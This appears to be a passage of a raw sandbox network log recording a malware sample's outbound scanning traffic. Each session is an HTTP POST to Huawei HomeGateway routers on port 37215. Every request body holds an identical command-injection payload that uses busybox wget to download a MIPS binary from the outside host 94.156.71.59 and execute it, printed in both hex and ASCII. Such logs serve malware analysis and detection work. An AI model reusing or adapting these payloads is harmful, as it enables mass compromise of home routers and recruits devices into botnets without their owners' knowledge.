6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.13	33080	41.214.197.204	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.327608109 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.13	54668	156.55.146.62	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.328658104 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.13	32898	197.164.110.221	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.329651117 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.13	56522	156.6.14.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.330858946 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.13	39210	156.63.216.137	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.331995964 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.13	56936	41.161.117.75	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.332837105 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.13	35416	197.10.141.11	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.333914995 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.13	41106	156.235.241.231	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.334846973 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.13	43016	156.31.22.27	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.337250948 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.13	59222	197.79.56.173	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.338475943 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.13	53314	197.122.60.228	37215

Timestamp	Bytes transferred	Direction	Data
